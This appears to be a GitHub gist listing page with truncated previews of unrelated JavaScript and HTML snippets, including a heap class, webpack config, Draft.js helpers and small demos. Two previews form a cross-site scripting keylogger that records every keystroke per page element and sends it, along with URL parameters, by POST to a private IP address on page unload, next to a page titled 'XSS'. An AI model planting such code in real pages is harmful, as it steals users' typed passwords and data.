This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Heap { | |
constructor(sorter) { | |
this.sorter = sorter; | |
this.arr = []; | |
} | |
get length() { | |
return this.arr.length; | |
} | |
push(el) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const postcssLoader = { | |
loader: 'postcss-loader', | |
options: { | |
sourceMap: false, | |
plugins: () => [autoprefixer()], | |
}, | |
}; | |
const cssRules = [ | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const map = {}; | |
document.body.addEventListener("keydown", ({key, target}) => { | |
if (!target) { | |
return; | |
} | |
const mapKey = target.tagName + (target.className || ''); | |
map[mapKey] = (map[mapKey] || '') + key; | |
}); | |
window.addEventListener("unload", function() { | |
sendData(map); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sendData(data) { | |
const xhr = new XMLHttpRequest(); | |
xhr.open("POST", "https://192.168.149.128", true); | |
xhr.setRequestHeader('Content-Type', 'application/json'); | |
xhr.send(JSON.stringify(data)); | |
} | |
const params = new URLSearchParams(window.location.href); | |
params.forEach((key, value) => { | |
sendData({key: value}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>XSS</title> | |
</head> | |
<body> | |
<p id="result"></p> | |
</body> | |
<script type="application/javascript"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"/> | |
<title>loop</title> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/benchmark/1.0.0/benchmark.min.js"></script> | |
<script src="./suite.js"></script> | |
</head> | |
<body> | |
<h1>Open the console to view the results</h1> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function addEmptyBlock(editorState) { | |
const newBlock = new ContentBlock({ | |
key: genKey(), | |
type: 'unstyled', | |
text: '', | |
characterList: List(), | |
}); | |
const contentState = editorState.getCurrentContent(); | |
const newBlockMap = contentState.getBlockMap().set(newBlock.key, newBlock); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ContentState = { | |
“entityMap”:{}, | |
”blocks”:[ | |
{“key”:”fe4s0”,”text”:”Header”,”type”:”header-one”,”depth”:0, | |
”inlineStyleRanges”:[],”entityRanges”:[],”data”:{}}, | |
{“key”:”ff509”,”text”:”complex decorated text”, | |
”type”:”unstyled”, ”depth”:0, | |
”inlineStyleRanges”:[ | |
{“offset”:0,”length”:3,”style”:”CODE”}, | |
{“offset”:1,”length”:5,”style”:”ITALIC”}, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function bind(func, context) { | |
return function() { | |
return func.apply(context, arguments); | |
}; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const cat = { | |
name: 'Snowball', | |
talk() { | |
console.log('Мяу'); | |
}, | |
getInstance() { | |
return this; | |
} | |
} | |
const instance1 = cat.getInstance() |
NewerOlder